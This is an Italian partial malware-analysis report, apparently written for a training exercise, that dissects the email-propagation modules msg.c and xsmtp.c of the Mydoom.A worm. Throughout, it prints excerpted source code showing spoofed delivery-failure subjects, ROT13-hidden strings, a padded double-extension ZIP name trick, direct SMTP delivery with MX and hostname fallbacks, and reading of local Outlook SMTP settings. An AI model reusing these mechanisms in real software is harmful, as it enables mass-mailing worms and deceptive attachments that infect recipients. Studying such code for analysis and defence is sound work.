

Analisi congiunta di msg.c e xsmtp.c — Win32.Mydoom.a

Relazione tecnica parziale con evidenze del codice sorgente. Documento intermedio per l'esercizio; non costituisce ancora la relazione finale.

1. Obiettivo della componente e-mail

I moduli **msg.c** e **xsmtp.c** rappresentano due fasi consecutive della propagazione tramite posta elettronica. **msg.c** prepara il messaggio e il relativo allegato; **xsmtp.c** tenta di consegnarlo direttamente tramite SMTP. Gli estratti riportati documentano i comportamenti osservati nel sorgente senza riprodurre integralmente i file.

Catena osservata: selezione destinatario → generazione e-mail → allegato → risoluzione server → connessione TCP/25 → dialogo SMTP → tentativo di consegna.

2. msg.c — generazione del messaggio

2.1 Selezione del mittente — select_from()

Estratto significativo:

```
if ((xrand16() % 100) < 98) {
...
if (mq->next && mq->next->next && mq->next->next->next) {
...
lstrcpy(state->from, mq->to);
}
}

/* use any Outlook account. Not implemented yet. */

rot13(domains[0], "nby.pbz");
rot13(domains[1], "zfa.pbz");
rot13(domains[2], "lnubb.pbz");
rot13(domains[3], "ubgzvny.pbz");
```

Il codice può scegliere un indirizzo già presente nella coda. Il commento specifica che l'uso di account Outlook **non è implementato**. Le stringhe ROT13 corrispondono a **aol.com**, **msn.com**, **yahoo.com** e **hotmail.com**.

2.2 Nome ed estensione dell'allegato — select_exename()

Estratto significativo:

```
/* weighted names, stored as ROT13 */
"qbphzrag" /* document */
"ernqzr" /* readme */
"qbp" /* doc */
"grkg" /* text */
"zrffntr" /* message */

/* weighted extensions, stored as ROT13 */
"cvb" /* pif */
"fpv" /* scr */
"rkr" /* exe */
"pzq" /* cmd */
"ong" /* bat */
```

Il malware costruisce nomi di allegati dall'aspetto comune e li combina con estensioni potenzialmente eseguibili. Le scelte sono pesate nel codice.

2.3 Selezione dell'oggetto — select_subject()

Estratto significativo:

```
if ((xrand16() % 100) < 5) {
/* random subject */
...
}

/* weighted ROT13 subjects */
"Zvny Qryvirel Flfgrz" /* Mail Delivery System */
"Zvny Genafnpgvba Snvyrq" /* Mail Transaction Failed */
"Freire Ercbeg" /* Server Report */
```

```
"Fgnghf" /* Status */
"Reebe" /* Error */
```

Il soggetto può essere casuale oppure scelto tra formule predefinite. Le formule decodificate includono messaggi che imitano comunicazioni automatiche di posta, report e notifiche di errore.

2.4 Uso di ZIP — `select_attach_file()`

Estratto significativo:

```
zip_used = ((xrand16() % 100) < 64);

if (!zip_used) {
    GetModuleFileName(NULL, attach_file, sizeof(attach_file));
} else {
    GetTempPath(...);
    GetTempFileName(...);
    GetModuleFileName(NULL, attach_file, sizeof(attach_file));
    zip_store(...);
}
```

Il valore mostra una probabilità del **64%** di utilizzare ZIP. Senza ZIP viene usato il percorso del modulo corrente; altrimenti viene creato un file temporaneo e il modulo viene inserito nell'archivio tramite `zip_store()`.

2.5 ZIP name trick

Estratto significativo:

```
zip_nametrick = ((xrand16() % 100) < 40);

lstrcpy(zip_name, exe_name);
lstrcat(zip_name, ".doc"); /* oppure .htm / .txt */
for (i = 0; i < 70; i++) lstrcat(zip_name, " ");
lstrcat(zip_name, ".exe"); /* oppure .scr / .pif */
```

Quando il meccanismo è attivato, il nome interno dell'archivio può apparire documentale, seguito da molti spazi e da un'estensione eseguibile. Il sorgente mostra quindi un meccanismo di denominazione volto a rendere meno immediata la natura dell'allegato. La probabilità osservata è del **40%**.

2.6 Corpo del messaggio — `write_msgtext()`

Estratto significativo:

```
/* predefined message texts */
"test"
"The message cannot be represented in 7-bit ASCII encoding ..."
"The message contains Unicode characters ..."
"Mail transaction failed. Partial message is available."

if ((xrand16() % 100) < 20) {
    /* generate random text */
    ...
}
```

Il corpo può contenere testi predefiniti oppure testo casuale. Alcuni testi simulano notifiche tecniche o di errore relative alla posta; la generazione casuale avviene con probabilità del **20%**.

2.7 Struttura MIME e Base64

Estratto significativo:

```
Content-Type: multipart/mixed;
...
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Content-Type: application/octet-stream; name="..."
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="..."
```

Il messaggio è costruito come **multipart/mixed**, con una parte testuale e una parte binaria relativa all'allegato. L'allegato viene codificato in Base64. Gli header includono inoltre From, To, Subject, Date, MIME-Version, boundary MIME e indicatori di priorità.

2.8 msg_generate() — coordinamento

Estratto significativo:

```
select_from(&state);
select_exename(&state);
select_subject(&state);
select_attach_file(&state);

...
write_headers(&state);
write_body(&state);

return state.buffer;
```

Questa funzione coordina la preparazione del messaggio: seleziona gli elementi, prepara l'allegato, dimensiona il buffer e genera header e corpo MIME. Il risultato è il messaggio completo che viene passato alla componente SMTP.

3. xsmtp.c — invio SMTP

3.1 Socket TCP e porta 25 — smtp_send_server()

Estratto significativo:

```
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

if (connect(sock, (struct sockaddr *)addr,
sizeof(struct sockaddr_in)))
goto err;

addr.sin_port = htons(25);
```

Il modulo crea un socket TCP e utilizza la **porta 25** per il tentativo di connessione al server SMTP, gestendo direttamente la comunicazione tramite Winsock.

3.2 Sequenza SMTP

Estratto significativo:

```
rot13(fmt, "RUYB %f\r\n"); /* EHLO %s */
stat = smtp_issue(sock, 10000, fmt, from_domain);

if (stat < 200 || stat > 299) {
rot13(fmt, "URYB %f\r\n"); /* HELO %s */
stat = smtp_issue(sock, 10000, fmt, from_domain);
}

rot13(fmt, "ZNVY SEBZ:<%f>\r\n"); /* MAIL FROM:<%s> */
stat = smtp_issue(sock, 10000, fmt, from);

rot13(fmt, "EPCG GB:<%f>\r\n"); /* RCPT TO:<%s> */
stat = smtp_issue(sock, 10000, fmt, rcpt);

stat = smtp_issue(sock, 10000, "DATA\r\n");
```

Il codice implementa le fasi fondamentali: **EHLO** e, se necessario, **HELO**, quindi **MAIL FROM**, **RCPT TO** e **DATA**. Le stringhe sono memorizzate in ROT13 e decodificate prima dell'invio.

3.3 Trasmissione del messaggio e dot-stuffing

Estratto significativo:

```
for (p=message;;) {
...
if (*p == '.') send(sock, ".", 1, 0);
if (send(sock, p, q-p, 0) <= 0) goto err;
p = q;
}

send(sock, "\r\n.\r\n", 5, 0);
```

Il messaggio viene inviato riga per riga. Se una riga inizia con un punto, il codice ne aggiunge un altro: è il meccanismo SMTP di **dot-stuffing**. La sequenza finale **\r\n.\r\n** segnala la fine dei dati dopo DATA.

3.4 Server MX e fallback — smtp_send()

Estratto significativo:

```
for (mxl=primary_mxs; mxl; mxl=mxl->next) {
addr.sin_addr.s_addr = resolve(mxl->mx);
...
addr.sin_port = htons(25);
if (smtp_send_server(&addr, message) == 0)
return 0;
}

case 0: lstrcpy(buf, rcpt_domain);
case 1: wsprintf(buf, "mx.%s", rcpt_domain);
case 2: wsprintf(buf, "mail.%s", rcpt_domain);
case 3: wsprintf(buf, "smtp.%s", rcpt_domain);
...
case 9: wsprintf(buf, "gate.%s", rcpt_domain);
```

Il primo tentativo utilizza i server MX forniti dalla componente DNS. Se falliscono, vengono provati hostname convenzionali costruiti dal dominio: dominio, mx., mail., smtp., mx1., mxs., mail1., relay., ns. e gate. Ogni indirizzo viene risolto e provato sulla porta 25.

3.5 Configurazione SMTP locale — xsmtp_try_isp()

Estratto significativo:

```
rot13(buf1,
"Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Znantre\\Nppbhagf");

rot13(buf4, "FZGC Freire"); /* SMTP Server */

RegOpenKeyEx(HKEY_CURRENT_USER, buf1, ...);

while (RegEnumKey(regkey1, indx++, buf2, ...) == ERROR_SUCCESS) {
    ...
    RegQueryValueEx(regkey2, buf4, ...);
    ...
    smtp_send_server(&addr, message);
}
```

Il codice decodifica il percorso **Software\Microsoft\Internet Account Manager\Accounts** e cerca il valore **SMTP Server** degli account. Se trova un server valido, lo risolve e tenta l'invio. In questo file non è presente una procedura di autenticazione SMTP; non si può quindi affermare, sulla sola base di xsmtp.c, che l'autenticazione sia implementata.

3.6 Probabilità del fallback ISP

Estratto significativo:

```
if ((xrand16() % 100) < 25)
if (xsmtp_try_isp(message) == 0) return 0;

return 1;
```

Dopo i tentativi precedenti, il metodo basato sulla configurazione locale viene tentato con probabilità del **25%**. Il ritorno **0** indica successo; il valore finale **1** indica fallimento.

4. Collegamento operativo tra msg.c e xsmtp.c

msg.c determina il contenuto del messaggio, il mittente, l'oggetto e l'allegato; **xsmtp.c** prende il messaggio già costruito e tenta la consegna diretta tramite SMTP. La sequenza risultante è: **generazione** → **individuazione server** → **TCP/25** → **EHLO/HELO** → **MAIL FROM** → **RCPT TO** → **DATA** → **messaggio** → **QUIT**.

Fase	Componente	Evidenza
1	msg.c	Selezione di mittente, oggetto e caratteristiche dell'allegato.
2	msg.c	Creazione MIME e codifica Base64 dell'allegato.
3	xsmtp.c	Estrazione di From/To e risoluzione del server.
4	xsmtp.c	Connessione TCP sulla porta 25.
5	xsmtp.c	Dialogo SMTP e trasferimento del messaggio.

5. Elementi rilevanti per l'esercizio

- msg.c documenta la costruzione programmatica di messaggi e-mail con allegati.
- L'allegato può essere il modulo eseguibile corrente, direttamente o tramite ZIP.
- Sono presenti nomi, estensioni e oggetti variabili, inclusi oggetti che simulano notifiche di posta.
- Il messaggio è multipart/mixed e l'allegato viene codificato Base64.
- xsmtp.c implementa direttamente SMTP tramite socket TCP sulla porta 25.
- I server MX vengono provati prima dei fallback basati su hostname.
- Con probabilità del 25% viene tentato anche un server SMTP ricavato dalla configurazione locale.
- I due moduli, considerati insieme, documentano la preparazione e il tentativo di propagazione tramite posta elettronica.

6. Conclusione

L'analisi congiunta di msg.c e xsmtp.c documenta una catena completa di preparazione e tentativo di consegna di messaggi e-mail. msg.c costruisce programmaticamente il messaggio MIME e l'allegato; xsmtp.c implementa la comunicazione SMTP diretta e diversi meccanismi di fallback. Questa relazione è una **relazione parziale della componente e-mail** e verrà integrata con le altre analisi e con le evidenze dinamiche nella relazione finale dell'esercizio.